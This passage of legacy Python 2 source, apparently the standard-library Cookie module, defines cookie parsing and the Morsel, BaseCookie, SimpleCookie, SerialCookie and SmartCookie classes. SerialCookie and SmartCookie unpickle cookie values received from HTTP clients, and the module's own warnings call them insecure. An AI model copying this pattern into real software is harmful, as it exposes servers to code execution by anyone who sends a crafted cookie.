    # This is an extension from Microsoft:
    #   httponly
    #
    # This dictionary provides a mapping from the lowercase
    # variant on the left to the appropriate traditional
    # formatting on the right.
    _reserved = { "expires" : "expires",
                   "path"        : "Path",
                   "comment" : "Comment",
                   "domain"      : "Domain",
                   "max-age" : "Max-Age",
                   "secure"      : "secure",
                   "httponly"  : "httponly",
                   "version" : "Version",
                   }

    _flags = {'secure', 'httponly'}

    def __init__(self):
        # Set defaults
        self.key = self.value = self.coded_value = None

        # Set default attributes
        for K in self._reserved:
            dict.__setitem__(self, K, "")
    # end __init__

    def __setitem__(self, K, V):
        K = K.lower()
        if not K in self._reserved:
            raise CookieError("Invalid Attribute %s" % K)
        dict.__setitem__(self, K, V)
    # end __setitem__

    def isReservedKey(self, K):
        return K.lower() in self._reserved
    # end isReservedKey

    def set(self, key, val, coded_val,
            LegalChars=_LegalChars,
            idmap=_idmap, translate=string.translate):
        # First we verify that the key isn't a reserved word
        # Second we make sure it only contains legal characters
        if key.lower() in self._reserved:
            raise CookieError("Attempt to set a reserved key: %s" % key)
        if "" != translate(key, idmap, LegalChars):
            raise CookieError("Illegal key value: %s" % key)

        # It's a good key, so save it.
        self.key                 = key
        self.value               = val
        self.coded_value         = coded_val
    # end set

    def output(self, attrs=None, header = "Set-Cookie:"):
        return "%s %s" % ( header, self.OutputString(attrs) )

    __str__ = output

    def __repr__(self):
        return '<%s: %s=%s>' % (self.__class__.__name__,
                                self.key, repr(self.value) )

    def js_output(self, attrs=None):
        # Print javascript
        return """
        <script type="text/javascript">
        <!-- begin hiding
        document.cookie = \"%s\";
        // end hiding -->
        </script>
        """ % ( self.OutputString(attrs).replace('"',r'\"'), )
    # end js_output()

    def OutputString(self, attrs=None):
        # Build up our result
        #
        result = []
        RA = result.append

        # First, the key=value pair
        RA("%s=%s" % (self.key, self.coded_value))

        # Now add any defined attributes
        if attrs is None:
            attrs = self._reserved
        items = self.items()
        items.sort()
        for K,V in items:
            if V == "": continue
            if K not in attrs: continue
            if K == "expires" and type(V) == type(1):
                RA("%s=%s" % (self._reserved[K], _getdate(V)))
            elif K == "max-age" and type(V) == type(1):
                RA("%s=%d" % (self._reserved[K], V))
            elif K == "secure":
                RA(str(self._reserved[K]))
            elif K == "httponly":
                RA(str(self._reserved[K]))
            else:
                RA("%s=%s" % (self._reserved[K], V))

        # Return the result
        return _semispacejoin(result)
    # end OutputString
# end Morsel class



#
# Pattern for finding cookie
#
# This used to be strict parsing based on the RFC2109 and RFC2068
# specifications.  I have since discovered that MSIE 3.0x doesn't
# follow the character rules outlined in those specs.  As a
# result, the parsing rules here are less strict.
#

_LegalKeyChars  = r"\w\d!#%&'~_`><@,:/\$\*\+\-\.\^\|\)\(\?\}\{\="
_LegalValueChars = _LegalKeyChars + r"\[\]"
_CookiePattern = re.compile(
    r"(?x)"                       # This is a Verbose pattern
    r"\s*"                        # Optional whitespace at start of cookie
    r"(?P<key>"                   # Start of group 'key'
    "["+ _LegalKeyChars +"]+?"     # Any word of at least one letter, nongreedy
    r")"                          # End of group 'key'
    r"("                          # Optional group: there may not be a value.
    r"\s*=\s*"                    # Equal Sign
    r"(?P<val>"                   # Start of group 'val'
    r'"(?:[^\\"]|\\.)*"'            # Any doublequoted string
    r"|"                            # or
    r"\w{3},\s[\s\w\d-]{9,11}\s[\d:]{8}\sGMT" # Special case for "expires" attr
    r"|"                            # or
    "["+ _LegalValueChars +"]*"        # Any word or empty string
    r")"                          # End of group 'val'
    r")?"                         # End of optional value group
    r"\s*"                        # Any number of spaces.
    r"(\s+|;|$)"                  # Ending either at space, semicolon, or EOS.
    )


# At long last, here is the cookie class.
#   Using this class is almost just like using a dictionary.
# See this module's docstring for example usage.
#
class BaseCookie(dict):
    # A container class for a set of Morsels
    #

    def value_decode(self, val):
        """real_value, coded_value = value_decode(STRING)
        Called prior to setting a cookie's value from the network
        representation.  The VALUE is the value read from HTTP
        header.
        Override this function to modify the behavior of cookies.
        """
        return val, val
    # end value_encode

    def value_encode(self, val):
        """real_value, coded_value = value_encode(VALUE)
        Called prior to setting a cookie's value from the dictionary
        representation.  The VALUE is the value being assigned.
        Override this function to modify the behavior of cookies.
        """
        strval = str(val)
        return strval, strval
    # end value_encode

    def __init__(self, input=None):
        if input: self.load(input)
    # end __init__

    def __set(self, key, real_value, coded_value):
        """Private method for setting a cookie's value"""
        M = self.get(key, Morsel())
        M.set(key, real_value, coded_value)
        dict.__setitem__(self, key, M)
    # end __set

    def __setitem__(self, key, value):
        """Dictionary style assignment."""
        if isinstance(value, Morsel):
            # allow assignment of constructed Morsels (e.g. for pickling)
            dict.__setitem__(self, key, value)
        else:
            rval, cval = self.value_encode(value)
            self.__set(key, rval, cval)
    # end __setitem__

    def output(self, attrs=None, header="Set-Cookie:", sep="\015\012"):
        """Return a string suitable for HTTP."""
        result = []
        items = self.items()
        items.sort()
        for K,V in items:
            result.append( V.output(attrs, header) )
        return sep.join(result)
    # end output

    __str__ = output

    def __repr__(self):
        L = []
        items = self.items()
        items.sort()
        for K,V in items:
            L.append( '%s=%s' % (K,repr(V.value) ) )
        return '<%s: %s>' % (self.__class__.__name__, _spacejoin(L))

    def js_output(self, attrs=None):
        """Return a string suitable for JavaScript."""
        result = []
        items = self.items()
        items.sort()
        for K,V in items:
            result.append( V.js_output(attrs) )
        return _nulljoin(result)
    # end js_output

    def load(self, rawdata):
        """Load cookies from a string (presumably HTTP_COOKIE) or
        from a dictionary.  Loading cookies from a dictionary 'd'
        is equivalent to calling:
            map(Cookie.__setitem__, d.keys(), d.values())
        """
        if type(rawdata) == type(""):
            self.__ParseString(rawdata)
        else:
            # self.update() wouldn't call our custom __setitem__
            for k, v in rawdata.items():
                self[k] = v
        return
    # end load()

    def __ParseString(self, str, patt=_CookiePattern):
        i = 0            # Our starting point
        n = len(str)     # Length of string
        M = None         # current morsel

        while 0 <= i < n:
            # Start looking for a cookie
            match = patt.match(str, i)
            if not match: break          # No more cookies

            K,V = match.group("key"), match.group("val")
            i = match.end(0)

            # Parse the key, value in case it's metainfo
            if K[0] == "$":
                # We ignore attributes which pertain to the cookie
                # mechanism as a whole.  See RFC 2109.
                # (Does anyone care?)
                if M:
                    M[ K[1:] ] = V
            elif K.lower() in Morsel._reserved:
                if M:
                    if V is None:
                        if K.lower() in Morsel._flags:
                            M[K] = True
                    else:
                        M[K] = _unquote(V)
            elif V is not None:
                rval, cval = self.value_decode(V)
                self.__set(K, rval, cval)
                M = self[K]
    # end __ParseString
# end BaseCookie class

class SimpleCookie(BaseCookie):
    """SimpleCookie
    SimpleCookie supports strings as cookie values.  When setting
    the value using the dictionary assignment notation, SimpleCookie
    calls the builtin str() to convert the value to a string.  Values
    received from HTTP are kept as strings.
    """
    def value_decode(self, val):
        return _unquote( val ), val
    def value_encode(self, val):
        strval = str(val)
        return strval, _quote( strval )
# end SimpleCookie

class SerialCookie(BaseCookie):
    """SerialCookie
    SerialCookie supports arbitrary objects as cookie values. All
    values are serialized (using cPickle) before being sent to the
    client.  All incoming values are assumed to be valid Pickle
    representations.  IF AN INCOMING VALUE IS NOT IN A VALID PICKLE
    FORMAT, THEN AN EXCEPTION WILL BE RAISED.

    Note: Large cookie values add overhead because they must be
    retransmitted on every HTTP transaction.

    Note: HTTP has a 2k limit on the size of a cookie.  This class
    does not check for this limit, so be careful!!!
    """
    def __init__(self, input=None):
        warnings.warn("SerialCookie class is insecure; do not use it",
                      DeprecationWarning)
        BaseCookie.__init__(self, input)
    # end __init__
    def value_decode(self, val):
        # This could raise an exception!
        return loads( _unquote(val) ), val
    def value_encode(self, val):
        return val, _quote( dumps(val) )
# end SerialCookie

class SmartCookie(BaseCookie):
    """SmartCookie
    SmartCookie supports arbitrary objects as cookie values.  If the
    object is a string, then it is quoted.  If the object is not a
    string, however, then SmartCookie will use cPickle to serialize
    the object into a string representation.

    Note: Large cookie values add overhead because they must be
    retransmitted on every HTTP transaction.

    Note: HTTP has a 2k limit on the size of a cookie.  This class
    does not check for this limit, so be careful!!!
    """
    def __init__(self, input=None):
        warnings.warn("Cookie/SmartCookie class is insecure; do not use it",
                      DeprecationWarning)
        BaseCookie.__init__(self, input)
    # end __init__
    def value_decode(self, val):
        strval = _unquote(val)
        try:
            return loads(strval), val
        except:
            return strval, val
    def value_encode(self, val):
        if type(val) == type(""):
            return val, _quote(val)
        else:
            return val, _quote( dumps(val) )
# end SmartCookie


###########################################################
# Backwards Compatibility:  Don't break any existing code!

# We provide Cookie() as an alias for SmartCookie()
Cookie = SmartCookie

#
###########################################################

def _test():
    import doctest, Cookie
    return doctest.testmod(Cookie)

if __name__ == "__main__":
    _test()


#Local Variables:
#tab-width: 4
#end: